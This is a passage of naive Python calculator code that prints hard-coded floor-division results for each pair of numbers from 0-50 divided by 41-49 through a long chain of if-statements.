"/" and secondNum == 41 : print("39 / 41 = 0") if firstNum == 40 and sign == "/" and secondNum == 41 : print("40 / 41 = 0") if firstNum == 41 and sign == "/" and secondNum == 41 : print("41 / 41 = 1") if firstNum == 42 and sign == "/" and secondNum == 41 : print("42 / 41 = 1") if firstNum == 43 and sign == "/" and secondNum == 41 : print("43 / 41 = 1") if firstNum == 44 and sign == "/" and secondNum == 41 : print("44 / 41 = 1") if firstNum == 45 and sign == "/" and secondNum == 41 : print("45 / 41 = 1") if firstNum == 46 and sign == "/" and secondNum == 41 : print("46 / 41 = 1") if firstNum == 47 and sign == "/" and secondNum == 41 : print("47 / 41 = 1") if firstNum == 48 and sign == "/" and secondNum == 41 : print("48 / 41 = 1") if firstNum == 49 and sign == "/" and secondNum == 41 : print("49 / 41 = 1") if firstNum == 50 and sign == "/" and secondNum == 41 : print("50 / 41 = 1") if firstNum == 0 and sign == "/" and secondNum == 42 : print("0 / 42 = 0") if firstNum == 1 and sign == "/" and secondNum == 42 : print("1 / 42 = 0") if firstNum == 2 and sign == "/" and secondNum == 42 : print("2 / 42 = 0") if firstNum == 3 and sign == "/" and secondNum == 42 : print("3 / 42 = 0") if firstNum == 4 and sign == "/" and secondNum == 42 : print("4 / 42 = 0") if firstNum == 5 and sign == "/" and secondNum == 42 : print("5 / 42 = 0") if firstNum == 6 and sign == "/" and secondNum == 42 : print("6 / 42 = 0") if firstNum == 7 and sign == "/" and secondNum == 42 : print("7 / 42 = 0") if firstNum == 8 and sign == "/" and secondNum == 42 : print("8 / 42 = 0") if firstNum == 9 and sign == "/" and secondNum == 42 : print("9 / 42 = 0") if firstNum == 10 and sign == "/" and secondNum == 42 : print("10 / 42 = 0") if firstNum == 11 and sign == "/" and secondNum == 42 : print("11 / 42 = 0") if firstNum == 12 and sign == "/" and secondNum == 42 : print("12 / 42 = 0") if firstNum == 13 and sign == "/" and secondNum == 42 : print("13 / 42 = 0") if firstNum == 14 and sign == "/" and secondNum == 42 : print("14 / 42 = 0") if firstNum == 15 and sign == "/" and secondNum == 42 : print("15 / 42 = 0") if firstNum == 16 and sign == "/" and secondNum == 42 : print("16 / 42 = 0") if firstNum == 17 and sign == "/" and secondNum == 42 : print("17 / 42 = 0") if firstNum == 18 and sign == "/" and secondNum == 42 : print("18 / 42 = 0") if firstNum == 19 and sign == "/" and secondNum == 42 : print("19 / 42 = 0") if firstNum == 20 and sign == "/" and secondNum == 42 : print("20 / 42 = 0") if firstNum == 21 and sign == "/" and secondNum == 42 : print("21 / 42 = 0") if firstNum == 22 and sign == "/" and secondNum == 42 : print("22 / 42 = 0") if firstNum == 23 and sign == "/" and secondNum == 42 : print("23 / 42 = 0") if firstNum == 24 and sign == "/" and secondNum == 42 : print("24 / 42 = 0") if firstNum == 25 and sign == "/" and secondNum == 42 : print("25 / 42 = 0") if firstNum == 26 and sign == "/" and secondNum == 42 : print("26 / 42 = 0") if firstNum == 27 and sign == "/" and secondNum == 42 : print("27 / 42 = 0") if firstNum == 28 and sign == "/" and secondNum == 42 : print("28 / 42 = 0") if firstNum == 29 and sign == "/" and secondNum == 42 : print("29 / 42 = 0") if firstNum == 30 and sign == "/" and secondNum == 42 : print("30 / 42 = 0") if firstNum == 31 and sign == "/" and secondNum == 42 : print("31 / 42 = 0") if firstNum == 32 and sign == "/" and secondNum == 42 : print("32 / 42 = 0") if firstNum == 33 and sign == "/" and secondNum == 42 : print("33 / 42 = 0") if firstNum == 34 and sign == "/" and secondNum == 42 : print("34 / 42 = 0") if firstNum == 35 and sign == "/" and secondNum == 42 : print("35 / 42 = 0") if firstNum == 36 and sign == "/" and secondNum == 42 : print("36 / 42 = 0") if firstNum == 37 and sign == "/" and secondNum == 42 : print("37 / 42 = 0") if firstNum == 38 and sign == "/" and secondNum == 42 : print("38 / 42 = 0") if firstNum == 39 and sign == "/" and secondNum == 42 : print("39 / 42 = 0") if firstNum == 40 and sign == "/" and secondNum == 42 : print("40 / 42 = 0") if firstNum == 41 and sign == "/" and secondNum == 42 : print("41 / 42 = 0") if firstNum == 42 and sign == "/" and secondNum == 42 : print("42 / 42 = 1") if firstNum == 43 and sign == "/" and secondNum == 42 : print("43 / 42 = 1") if firstNum == 44 and sign == "/" and secondNum == 42 : print("44 / 42 = 1") if firstNum == 45 and sign == "/" and secondNum == 42 : print("45 / 42 = 1") if firstNum == 46 and sign == "/" and secondNum == 42 : print("46 / 42 = 1") if firstNum == 47 and sign == "/" and secondNum == 42 : print("47 / 42 = 1") if firstNum == 48 and sign == "/" and secondNum == 42 : print("48 / 42 = 1") if firstNum == 49 and sign == "/" and secondNum == 42 : print("49 / 42 = 1") if firstNum == 50 and sign == "/" and secondNum == 42 : print("50 / 42 = 1") if firstNum == 0 and sign == "/" and secondNum == 43 : print("0 / 43 = 0") if firstNum == 1 and sign == "/" and secondNum == 43 : print("1 / 43 = 0") if firstNum == 2 and sign == "/" and secondNum == 43 : print("2 / 43 = 0") if firstNum == 3 and sign == "/" and secondNum == 43 : print("3 / 43 = 0") if firstNum == 4 and sign == "/" and secondNum == 43 : print("4 / 43 = 0") if firstNum == 5 and sign == "/" and secondNum == 43 : print("5 / 43 = 0") if firstNum == 6 and sign == "/" and secondNum == 43 : print("6 / 43 = 0") if firstNum == 7 and sign == "/" and secondNum == 43 : print("7 / 43 = 0") if firstNum == 8 and sign == "/" and secondNum == 43 : print("8 / 43 = 0") if firstNum == 9 and sign == "/" and secondNum == 43 : print("9 / 43 = 0") if firstNum == 10 and sign == "/" and secondNum == 43 : print("10 / 43 = 0") if firstNum == 11 and sign == "/" and secondNum == 43 : print("11 / 43 = 0") if firstNum == 12 and sign == "/" and secondNum == 43 : print("12 / 43 = 0") if firstNum == 13 and sign == "/" and secondNum == 43 : print("13 / 43 = 0") if firstNum == 14 and sign == "/" and secondNum == 43 : print("14 / 43 = 0") if firstNum == 15 and sign == "/" and secondNum == 43 : print("15 / 43 = 0") if firstNum == 16 and sign == "/" and secondNum == 43 : print("16 / 43 = 0") if firstNum == 17 and sign == "/" and secondNum == 43 : print("17 / 43 = 0") if firstNum == 18 and sign == "/" and secondNum == 43 : print("18 / 43 = 0") if firstNum == 19 and sign == "/" and secondNum == 43 : print("19 / 43 = 0") if firstNum == 20 and sign == "/" and secondNum == 43 : print("20 / 43 = 0") if firstNum == 21 and sign == "/" and secondNum == 43 : print("21 / 43 = 0") if firstNum == 22 and sign == "/" and secondNum == 43 : print("22 / 43 = 0") if firstNum == 23 and sign == "/" and secondNum == 43 : print("23 / 43 = 0") if firstNum == 24 and sign == "/" and secondNum == 43 : print("24 / 43 = 0") if firstNum == 25 and sign == "/" and secondNum == 43 : print("25 / 43 = 0") if firstNum == 26 and sign == "/" and secondNum == 43 : print("26 / 43 = 0") if firstNum == 27 and sign == "/" and secondNum == 43 : print("27 / 43 = 0") if firstNum == 28 and sign == "/" and secondNum == 43 : print("28 / 43 = 0") if firstNum == 29 and sign == "/" and secondNum == 43 : print("29 / 43 = 0") if firstNum == 30 and sign == "/" and secondNum == 43 : print("30 / 43 = 0") if firstNum == 31 and sign == "/" and secondNum == 43 : print("31 / 43 = 0") if firstNum == 32 and sign == "/" and secondNum == 43 : print("32 / 43 = 0") if firstNum == 33 and sign == "/" and secondNum == 43 : print("33 / 43 = 0") if firstNum == 34 and sign == "/" and secondNum == 43 : print("34 / 43 = 0") if firstNum == 35 and sign == "/" and secondNum == 43 : print("35 / 43 = 0") if firstNum == 36 and sign == "/" and secondNum == 43 : print("36 / 43 = 0") if firstNum == 37 and sign == "/" and secondNum == 43 : print("37 / 43 = 0") if firstNum == 38 and sign == "/" and secondNum == 43 : print("38 / 43 = 0") if firstNum == 39 and sign == "/" and secondNum == 43 : print("39 / 43 = 0") if firstNum == 40 and sign == "/" and secondNum == 43 : print("40 / 43 = 0") if firstNum == 41 and sign == "/" and secondNum == 43 : print("41 / 43 = 0") if firstNum == 42 and sign == "/" and secondNum == 43 : print("42 / 43 = 0") if firstNum == 43 and sign == "/" and secondNum == 43 : print("43 / 43 = 1") if firstNum == 44 and sign == "/" and secondNum == 43 : print("44 / 43 = 1") if firstNum == 45 and sign == "/" and secondNum == 43 : print("45 / 43 = 1") if firstNum == 46 and sign == "/" and secondNum == 43 : print("46 / 43 = 1") if firstNum == 47 and sign == "/" and secondNum == 43 : print("47 / 43 = 1") if firstNum == 48 and sign == "/" and secondNum == 43 : print("48 / 43 = 1") if firstNum == 49 and sign == "/" and secondNum == 43 : print("49 / 43 = 1") if firstNum == 50 and sign == "/" and secondNum == 43 : print("50 / 43 = 1") if firstNum == 0 and sign == "/" and secondNum == 44 : print("0 / 44 = 0") if firstNum == 1 and sign == "/" and secondNum == 44 : print("1 / 44 = 0") if firstNum == 2 and sign == "/" and secondNum == 44 : print("2 / 44 = 0") if firstNum == 3 and sign == "/" and secondNum == 44 : print("3 / 44 = 0") if firstNum == 4 and sign == "/" and secondNum == 44 : print("4 / 44 = 0") if firstNum == 5 and sign == "/" and secondNum == 44 : print("5 / 44 = 0") if firstNum == 6 and sign == "/" and secondNum == 44 : print("6 / 44 = 0") if firstNum == 7 and sign == "/" and secondNum == 44 : print("7 / 44 = 0") if firstNum == 8 and sign == "/" and secondNum == 44 : print("8 / 44 = 0") if firstNum == 9 and sign == "/" and secondNum == 44 : print("9 / 44 = 0") if firstNum == 10 and sign == "/" and secondNum == 44 : print("10 / 44 = 0") if firstNum == 11 and sign == "/" and secondNum == 44 : print("11 / 44 = 0") if firstNum == 12 and sign == "/" and secondNum == 44 : print("12 / 44 = 0") if firstNum == 13 and sign == "/" and secondNum == 44 : print("13 / 44 = 0") if firstNum == 14 and sign == "/" and secondNum == 44 : print("14 / 44 = 0") if firstNum == 15 and sign == "/" and secondNum == 44 : print("15 / 44 = 0") if firstNum == 16 and sign == "/" and secondNum == 44 : print("16 / 44 = 0") if firstNum == 17 and sign == "/" and secondNum == 44 : print("17 / 44 = 0") if firstNum == 18 and sign == "/" and secondNum == 44 : print("18 / 44 = 0") if firstNum == 19 and sign == "/" and secondNum == 44 : print("19 / 44 = 0") if firstNum == 20 and sign == "/" and secondNum == 44 : print("20 / 44 = 0") if firstNum == 21 and sign == "/" and secondNum == 44 : print("21 / 44 = 0") if firstNum == 22 and sign == "/" and secondNum == 44 : print("22 / 44 = 0") if firstNum == 23 and sign == "/" and secondNum == 44 : print("23 / 44 = 0") if firstNum == 24 and sign == "/" and secondNum == 44 : print("24 / 44 = 0") if firstNum == 25 and sign == "/" and secondNum == 44 : print("25 / 44 = 0") if firstNum == 26 and sign == "/" and secondNum == 44 : print("26 / 44 = 0") if firstNum == 27 and sign == "/" and secondNum == 44 : print("27 / 44 = 0") if firstNum == 28 and sign == "/" and secondNum == 44 : print("28 / 44 = 0") if firstNum == 29 and sign == "/" and secondNum == 44 : print("29 / 44 = 0") if firstNum == 30 and sign == "/" and secondNum == 44 : print("30 / 44 = 0") if firstNum == 31 and sign == "/" and secondNum == 44 : print("31 / 44 = 0") if firstNum == 32 and sign == "/" and secondNum == 44 : print("32 / 44 = 0") if firstNum == 33 and sign == "/" and secondNum == 44 : print("33 / 44 = 0") if firstNum == 34 and sign == "/" and secondNum == 44 : print("34 / 44 = 0") if firstNum == 35 and sign == "/" and secondNum == 44 : print("35 / 44 = 0") if firstNum == 36 and sign == "/" and secondNum == 44 : print("36 / 44 = 0") if firstNum == 37 and sign == "/" and secondNum == 44 : print("37 / 44 = 0") if firstNum == 38 and sign == "/" and secondNum == 44 : print("38 / 44 = 0") if firstNum == 39 and sign == "/" and secondNum == 44 : print("39 / 44 = 0") if firstNum == 40 and sign == "/" and secondNum == 44 : print("40 / 44 = 0") if firstNum == 41 and sign == "/" and secondNum == 44 : print("41 / 44 = 0") if firstNum == 42 and sign == "/" and secondNum == 44 : print("42 / 44 = 0") if firstNum == 43 and sign == "/" and secondNum == 44 : print("43 / 44 = 0") if firstNum == 44 and sign == "/" and secondNum == 44 : print("44 / 44 = 1") if firstNum == 45 and sign == "/" and secondNum == 44 : print("45 / 44 = 1") if firstNum == 46 and sign == "/" and secondNum == 44 : print("46 / 44 = 1") if firstNum == 47 and sign == "/" and secondNum == 44 : print("47 / 44 = 1") if firstNum == 48 and sign == "/" and secondNum == 44 : print("48 / 44 = 1") if firstNum == 49 and sign == "/" and secondNum == 44 : print("49 / 44 = 1") if firstNum == 50 and sign == "/" and secondNum == 44 : print("50 / 44 = 1") if firstNum == 0 and sign == "/" and secondNum == 45 : print("0 / 45 = 0") if firstNum == 1 and sign == "/" and secondNum == 45 : print("1 / 45 = 0") if firstNum == 2 and sign == "/" and secondNum == 45 : print("2 / 45 = 0") if firstNum == 3 and sign == "/" and secondNum == 45 : print("3 / 45 = 0") if firstNum == 4 and sign == "/" and secondNum == 45 : print("4 / 45 = 0") if firstNum == 5 and sign == "/" and secondNum == 45 : print("5 / 45 = 0") if firstNum == 6 and sign == "/" and secondNum == 45 : print("6 / 45 = 0") if firstNum == 7 and sign == "/" and secondNum == 45 : print("7 / 45 = 0") if firstNum == 8 and sign == "/" and secondNum == 45 : print("8 / 45 = 0") if firstNum == 9 and sign == "/" and secondNum == 45 : print("9 / 45 = 0") if firstNum == 10 and sign == "/" and secondNum == 45 : print("10 / 45 = 0") if firstNum == 11 and sign == "/" and secondNum == 45 : print("11 / 45 = 0") if firstNum == 12 and sign == "/" and secondNum == 45 : print("12 / 45 = 0") if firstNum == 13 and sign == "/" and secondNum == 45 : print("13 / 45 = 0") if firstNum == 14 and sign == "/" and secondNum == 45 : print("14 / 45 = 0") if firstNum == 15 and sign == "/" and secondNum == 45 : print("15 / 45 = 0") if firstNum == 16 and sign == "/" and secondNum == 45 : print("16 / 45 = 0") if firstNum == 17 and sign == "/" and secondNum == 45 : print("17 / 45 = 0") if firstNum == 18 and sign == "/" and secondNum == 45 : print("18 / 45 = 0") if firstNum == 19 and sign == "/" and secondNum == 45 : print("19 / 45 = 0") if firstNum == 20 and sign == "/" and secondNum == 45 : print("20 / 45 = 0") if firstNum == 21 and sign == "/" and secondNum == 45 : print("21 / 45 = 0") if firstNum == 22 and sign == "/" and secondNum == 45 : print("22 / 45 = 0") if firstNum == 23 and sign == "/" and secondNum == 45 : print("23 / 45 = 0") if firstNum == 24 and sign == "/" and secondNum == 45 : print("24 / 45 = 0") if firstNum == 25 and sign == "/" and secondNum == 45 : print("25 / 45 = 0") if firstNum == 26 and sign == "/" and secondNum == 45 : print("26 / 45 = 0") if firstNum == 27 and sign == "/" and secondNum == 45 : print("27 / 45 = 0") if firstNum == 28 and sign == "/" and secondNum == 45 : print("28 / 45 = 0") if firstNum == 29 and sign == "/" and secondNum == 45 : print("29 / 45 = 0") if firstNum == 30 and sign == "/" and secondNum == 45 : print("30 / 45 = 0") if firstNum == 31 and sign == "/" and secondNum == 45 : print("31 / 45 = 0") if firstNum == 32 and sign == "/" and secondNum == 45 : print("32 / 45 = 0") if firstNum == 33 and sign == "/" and secondNum == 45 : print("33 / 45 = 0") if firstNum == 34 and sign == "/" and secondNum == 45 : print("34 / 45 = 0") if firstNum == 35 and sign == "/" and secondNum == 45 : print("35 / 45 = 0") if firstNum == 36 and sign == "/" and secondNum == 45 : print("36 / 45 = 0") if firstNum == 37 and sign == "/" and secondNum == 45 : print("37 / 45 = 0") if firstNum == 38 and sign == "/" and secondNum == 45 : print("38 / 45 = 0") if firstNum == 39 and sign == "/" and secondNum == 45 : print("39 / 45 = 0") if firstNum == 40 and sign == "/" and secondNum == 45 : print("40 / 45 = 0") if firstNum == 41 and sign == "/" and secondNum == 45 : print("41 / 45 = 0") if firstNum == 42 and sign == "/" and secondNum == 45 : print("42 / 45 = 0") if firstNum == 43 and sign == "/" and secondNum == 45 : print("43 / 45 = 0") if firstNum == 44 and sign == "/" and secondNum == 45 : print("44 / 45 = 0") if firstNum == 45 and sign == "/" and secondNum == 45 : print("45 / 45 = 1") if firstNum == 46 and sign == "/" and secondNum == 45 : print("46 / 45 = 1") if firstNum == 47 and sign == "/" and secondNum == 45 : print("47 / 45 = 1") if firstNum == 48 and sign == "/" and secondNum == 45 : print("48 / 45 = 1") if firstNum == 49 and sign == "/" and secondNum == 45 : print("49 / 45 = 1") if firstNum == 50 and sign == "/" and secondNum == 45 : print("50 / 45 = 1") if firstNum == 0 and sign == "/" and secondNum == 46 : print("0 / 46 = 0") if firstNum == 1 and sign == "/" and secondNum == 46 : print("1 / 46 = 0") if firstNum == 2 and sign == "/" and secondNum == 46 : print("2 / 46 = 0") if firstNum == 3 and sign == "/" and secondNum == 46 : print("3 / 46 = 0") if firstNum == 4 and sign == "/" and secondNum == 46 : print("4 / 46 = 0") if firstNum == 5 and sign == "/" and secondNum == 46 : print("5 / 46 = 0") if firstNum == 6 and sign == "/" and secondNum == 46 : print("6 / 46 = 0") if firstNum == 7 and sign == "/" and secondNum == 46 : print("7 / 46 = 0") if firstNum == 8 and sign == "/" and secondNum == 46 : print("8 / 46 = 0") if firstNum == 9 and sign == "/" and secondNum == 46 : print("9 / 46 = 0") if firstNum == 10 and sign == "/" and secondNum == 46 : print("10 / 46 = 0") if firstNum == 11 and sign == "/" and secondNum == 46 : print("11 / 46 = 0") if firstNum == 12 and sign == "/" and secondNum == 46 : print("12 / 46 = 0") if firstNum == 13 and sign == "/" and secondNum == 46 : print("13 / 46 = 0") if firstNum == 14 and sign == "/" and secondNum == 46 : print("14 / 46 = 0") if firstNum == 15 and sign == "/" and secondNum == 46 : print("15 / 46 = 0") if firstNum == 16 and sign == "/" and secondNum == 46 : print("16 / 46 = 0") if firstNum == 17 and sign == "/" and secondNum == 46 : print("17 / 46 = 0") if firstNum == 18 and sign == "/" and secondNum == 46 : print("18 / 46 = 0") if firstNum == 19 and sign == "/" and secondNum == 46 : print("19 / 46 = 0") if firstNum == 20 and sign == "/" and secondNum == 46 : print("20 / 46 = 0") if firstNum == 21 and sign == "/" and secondNum == 46 : print("21 / 46 = 0") if firstNum == 22 and sign == "/" and secondNum == 46 : print("22 / 46 = 0") if firstNum == 23 and sign == "/" and secondNum == 46 : print("23 / 46 = 0") if firstNum == 24 and sign == "/" and secondNum == 46 : print("24 / 46 = 0") if firstNum == 25 and sign == "/" and secondNum == 46 : print("25 / 46 = 0") if firstNum == 26 and sign == "/" and secondNum == 46 : print("26 / 46 = 0") if firstNum == 27 and sign == "/" and secondNum == 46 : print("27 / 46 = 0") if firstNum == 28 and sign == "/" and secondNum == 46 : print("28 / 46 = 0") if firstNum == 29 and sign == "/" and secondNum == 46 : print("29 / 46 = 0") if firstNum == 30 and sign == "/" and secondNum == 46 : print("30 / 46 = 0") if firstNum == 31 and sign == "/" and secondNum == 46 : print("31 / 46 = 0") if firstNum == 32 and sign == "/" and secondNum == 46 : print("32 / 46 = 0") if firstNum == 33 and sign == "/" and secondNum == 46 : print("33 / 46 = 0") if firstNum == 34 and sign == "/" and secondNum == 46 : print("34 / 46 = 0") if firstNum == 35 and sign == "/" and secondNum == 46 : print("35 / 46 = 0") if firstNum == 36 and sign == "/" and secondNum == 46 : print("36 / 46 = 0") if firstNum == 37 and sign == "/" and secondNum == 46 : print("37 / 46 = 0") if firstNum == 38 and sign == "/" and secondNum == 46 : print("38 / 46 = 0") if firstNum == 39 and sign == "/" and secondNum == 46 : print("39 / 46 = 0") if firstNum == 40 and sign == "/" and secondNum == 46 : print("40 / 46 = 0") if firstNum == 41 and sign == "/" and secondNum == 46 : print("41 / 46 = 0") if firstNum == 42 and sign == "/" and secondNum == 46 : print("42 / 46 = 0") if firstNum == 43 and sign == "/" and secondNum == 46 : print("43 / 46 = 0") if firstNum == 44 and sign == "/" and secondNum == 46 : print("44 / 46 = 0") if firstNum == 45 and sign == "/" and secondNum == 46 : print("45 / 46 = 0") if firstNum == 46 and sign == "/" and secondNum == 46 : print("46 / 46 = 1") if firstNum == 47 and sign == "/" and secondNum == 46 : print("47 / 46 = 1") if firstNum == 48 and sign == "/" and secondNum == 46 : print("48 / 46 = 1") if firstNum == 49 and sign == "/" and secondNum == 46 : print("49 / 46 = 1") if firstNum == 50 and sign == "/" and secondNum == 46 : print("50 / 46 = 1") if firstNum == 0 and sign == "/" and secondNum == 47 : print("0 / 47 = 0") if firstNum == 1 and sign == "/" and secondNum == 47 : print("1 / 47 = 0") if firstNum == 2 and sign == "/" and secondNum == 47 : print("2 / 47 = 0") if firstNum == 3 and sign == "/" and secondNum == 47 : print("3 / 47 = 0") if firstNum == 4 and sign == "/" and secondNum == 47 : print("4 / 47 = 0") if firstNum == 5 and sign == "/" and secondNum == 47 : print("5 / 47 = 0") if firstNum == 6 and sign == "/" and secondNum == 47 : print("6 / 47 = 0") if firstNum == 7 and sign == "/" and secondNum == 47 : print("7 / 47 = 0") if firstNum == 8 and sign == "/" and secondNum == 47 : print("8 / 47 = 0") if firstNum == 9 and sign == "/" and secondNum == 47 : print("9 / 47 = 0") if firstNum == 10 and sign == "/" and secondNum == 47 : print("10 / 47 = 0") if firstNum == 11 and sign == "/" and secondNum == 47 : print("11 / 47 = 0") if firstNum == 12 and sign == "/" and secondNum == 47 : print("12 / 47 = 0") if firstNum == 13 and sign == "/" and secondNum == 47 : print("13 / 47 = 0") if firstNum == 14 and sign == "/" and secondNum == 47 : print("14 / 47 = 0") if firstNum == 15 and sign == "/" and secondNum == 47 : print("15 / 47 = 0") if firstNum == 16 and sign == "/" and secondNum == 47 : print("16 / 47 = 0") if firstNum == 17 and sign == "/" and secondNum == 47 : print("17 / 47 = 0") if firstNum == 18 and sign == "/" and secondNum == 47 : print("18 / 47 = 0") if firstNum == 19 and sign == "/" and secondNum == 47 : print("19 / 47 = 0") if firstNum == 20 and sign == "/" and secondNum == 47 : print("20 / 47 = 0") if firstNum == 21 and sign == "/" and secondNum == 47 : print("21 / 47 = 0") if firstNum == 22 and sign == "/" and secondNum == 47 : print("22 / 47 = 0") if firstNum == 23 and sign == "/" and secondNum == 47 : print("23 / 47 = 0") if firstNum == 24 and sign == "/" and secondNum == 47 : print("24 / 47 = 0") if firstNum == 25 and sign == "/" and secondNum == 47 : print("25 / 47 = 0") if firstNum == 26 and sign == "/" and secondNum == 47 : print("26 / 47 = 0") if firstNum == 27 and sign == "/" and secondNum == 47 : print("27 / 47 = 0") if firstNum == 28 and sign == "/" and secondNum == 47 : print("28 / 47 = 0") if firstNum == 29 and sign == "/" and secondNum == 47 : print("29 / 47 = 0") if firstNum == 30 and sign == "/" and secondNum == 47 : print("30 / 47 = 0") if firstNum == 31 and sign == "/" and secondNum == 47 : print("31 / 47 = 0") if firstNum == 32 and sign == "/" and secondNum == 47 : print("32 / 47 = 0") if firstNum == 33 and sign == "/" and secondNum == 47 : print("33 / 47 = 0") if firstNum == 34 and sign == "/" and secondNum == 47 : print("34 / 47 = 0") if firstNum == 35 and sign == "/" and secondNum == 47 : print("35 / 47 = 0") if firstNum == 36 and sign == "/" and secondNum == 47 : print("36 / 47 = 0") if firstNum == 37 and sign == "/" and secondNum == 47 : print("37 / 47 = 0") if firstNum == 38 and sign == "/" and secondNum == 47 : print("38 / 47 = 0") if firstNum == 39 and sign == "/" and secondNum == 47 : print("39 / 47 = 0") if firstNum == 40 and sign == "/" and secondNum == 47 : print("40 / 47 = 0") if firstNum == 41 and sign == "/" and secondNum == 47 : print("41 / 47 = 0") if firstNum == 42 and sign == "/" and secondNum == 47 : print("42 / 47 = 0") if firstNum == 43 and sign == "/" and secondNum == 47 : print("43 / 47 = 0") if firstNum == 44 and sign == "/" and secondNum == 47 : print("44 / 47 = 0") if firstNum == 45 and sign == "/" and secondNum == 47 : print("45 / 47 = 0") if firstNum == 46 and sign == "/" and secondNum == 47 : print("46 / 47 = 0") if firstNum == 47 and sign == "/" and secondNum == 47 : print("47 / 47 = 1") if firstNum == 48 and sign == "/" and secondNum == 47 : print("48 / 47 = 1") if firstNum == 49 and sign == "/" and secondNum == 47 : print("49 / 47 = 1") if firstNum == 50 and sign == "/" and secondNum == 47 : print("50 / 47 = 1") if firstNum == 0 and sign == "/" and secondNum == 48 : print("0 / 48 = 0") if firstNum == 1 and sign == "/" and secondNum == 48 : print("1 / 48 = 0") if firstNum == 2 and sign == "/" and secondNum == 48 : print("2 / 48 = 0") if firstNum == 3 and sign == "/" and secondNum == 48 : print("3 / 48 = 0") if firstNum == 4 and sign == "/" and secondNum == 48 : print("4 / 48 = 0") if firstNum == 5 and sign == "/" and secondNum == 48 : print("5 / 48 = 0") if firstNum == 6 and sign == "/" and secondNum == 48 : print("6 / 48 = 0") if firstNum == 7 and sign == "/" and secondNum == 48 : print("7 / 48 = 0") if firstNum == 8 and sign == "/" and secondNum == 48 : print("8 / 48 = 0") if firstNum == 9 and sign == "/" and secondNum == 48 : print("9 / 48 = 0") if firstNum == 10 and sign == "/" and secondNum == 48 : print("10 / 48 = 0") if firstNum == 11 and sign == "/" and secondNum == 48 : print("11 / 48 = 0") if firstNum == 12 and sign == "/" and secondNum == 48 : print("12 / 48 = 0") if firstNum == 13 and sign == "/" and secondNum == 48 : print("13 / 48 = 0") if firstNum == 14 and sign == "/" and secondNum == 48 : print("14 / 48 = 0") if firstNum == 15 and sign == "/" and secondNum == 48 : print("15 / 48 = 0") if firstNum == 16 and sign == "/" and secondNum == 48 : print("16 / 48 = 0") if firstNum == 17 and sign == "/" and secondNum == 48 : print("17 / 48 = 0") if firstNum == 18 and sign == "/" and secondNum == 48 : print("18 / 48 = 0") if firstNum == 19 and sign == "/" and secondNum == 48 : print("19 / 48 = 0") if firstNum == 20 and sign == "/" and secondNum == 48 : print("20 / 48 = 0") if firstNum == 21 and sign == "/" and secondNum == 48 : print("21 / 48 = 0") if firstNum == 22 and sign == "/" and secondNum == 48 : print("22 / 48 = 0") if firstNum == 23 and sign == "/" and secondNum == 48 : print("23 / 48 = 0") if firstNum == 24 and sign == "/" and secondNum == 48 : print("24 / 48 = 0") if firstNum == 25 and sign == "/" and secondNum == 48 : print("25 / 48 = 0") if firstNum == 26 and sign == "/" and secondNum == 48 : print("26 / 48 = 0") if firstNum == 27 and sign == "/" and secondNum == 48 : print("27 / 48 = 0") if firstNum == 28 and sign == "/" and secondNum == 48 : print("28 / 48 = 0") if firstNum == 29 and sign == "/" and secondNum == 48 : print("29 / 48 = 0") if firstNum == 30 and sign == "/" and secondNum == 48 : print("30 / 48 = 0") if firstNum == 31 and sign == "/" and secondNum == 48 : print("31 / 48 = 0") if firstNum == 32 and sign == "/" and secondNum == 48 : print("32 / 48 = 0") if firstNum == 33 and sign == "/" and secondNum == 48 : print("33 / 48 = 0") if firstNum == 34 and sign == "/" and secondNum == 48 : print("34 / 48 = 0") if firstNum == 35 and sign == "/" and secondNum == 48 : print("35 / 48 = 0") if firstNum == 36 and sign == "/" and secondNum == 48 : print("36 / 48 = 0") if firstNum == 37 and sign == "/" and secondNum == 48 : print("37 / 48 = 0") if firstNum == 38 and sign == "/" and secondNum == 48 : print("38 / 48 = 0") if firstNum == 39 and sign == "/" and secondNum == 48 : print("39 / 48 = 0") if firstNum == 40 and sign == "/" and secondNum == 48 : print("40 / 48 = 0") if firstNum == 41 and sign == "/" and secondNum == 48 : print("41 / 48 = 0") if firstNum == 42 and sign == "/" and secondNum == 48 : print("42 / 48 = 0") if firstNum == 43 and sign == "/" and secondNum == 48 : print("43 / 48 = 0") if firstNum == 44 and sign == "/" and secondNum == 48 : print("44 / 48 = 0") if firstNum == 45 and sign == "/" and secondNum == 48 : print("45 / 48 = 0") if firstNum == 46 and sign == "/" and secondNum == 48 : print("46 / 48 = 0") if firstNum == 47 and sign == "/" and secondNum == 48 : print("47 / 48 = 0") if firstNum == 48 and sign == "/" and secondNum == 48 : print("48 / 48 = 1") if firstNum == 49 and sign == "/" and secondNum == 48 : print("49 / 48 = 1") if firstNum == 50 and sign == "/" and secondNum == 48 : print("50 / 48 = 1") if firstNum == 0 and sign == "/" and secondNum == 49 : print("0 / 49 = 0") if firstNum == 1 and sign == "/" and secondNum == 49 : print("1 / 49 = 0") if firstNum == 2 and sign == "/" and secondNum == 49 : print("2 / 49 = 0") if firstNum == 3 and sign == "/" and secondNum == 49 : print("3 / 49 = 0") if firstNum == 4 and sign == "/" and secondNum == 49 : print("4 / 49 = 0") if firstNum == 5 and sign == "/" and secondNum == 49 : print("5 / 49 = 0") if firstNum == 6 and sign == "/" and secondNum == 49 : print("6 / 49 = 0") if firstNum == 7 and sign == "/" and secondNum == 49 : print("7 / 49 = 0") if firstNum == 8 and sign == "/" and secondNum == 49 : print("8 / 49 = 0") if firstNum == 9 and sign == "/" and secondNum == 49 : print("9 / 49 = 0") if firstNum == 10 and sign == "/" and secondNum == 49 : print("10 / 49 = 0") if firstNum == 11 and sign == "/" and secondNum == 49 : print("11 / 49 = 0") if firstNum == 12 and sign == "/" and secondNum == 49 : print("12 / 49 = 0") if firstNum == 13 and sign == "/" and secondNum == 49 : print("13 / 49 = 0") if firstNum == 14 and sign == "/" and secondNum == 49 : print("14 / 49 = 0") if firstNum == 15 and sign == "/" and secondNum == 49 : print("15 / 49 = 0") if firstNum == 16 and sign == "/" and secondNum == 49 : print("16 / 49 = 0") if firstNum == 17 and sign == "/" and secondNum == 49 : print("17 / 49 = 0") if firstNum == 18 and sign == "/" and secondNum == 49 : print("18 / 49 = 0") if firstNum == 19 and sign == "/" and secondNum == 49 : print("19 / 49 = 0") if firstNum == 20 and sign == "/" and secondNum == 49 : print("20 / 49 = 0") if firstNum == 21 and sign == "/" and secondNum == 49 : print("21 / 49 = 0") if firstNum == 22 and sign == "/" and secondNum == 49 : print("22 / 49 = 0") if firstNum == 23 and sign == "/" and secondNum == 49 : print("23 / 49 = 0") if firstNum == 24 and sign == "/" and secondNum == 49 : print("24 / 49 = 0") if firstNum == 25 and sign == "/" and secondNum == 49 : print("25 / 49 = 0") if 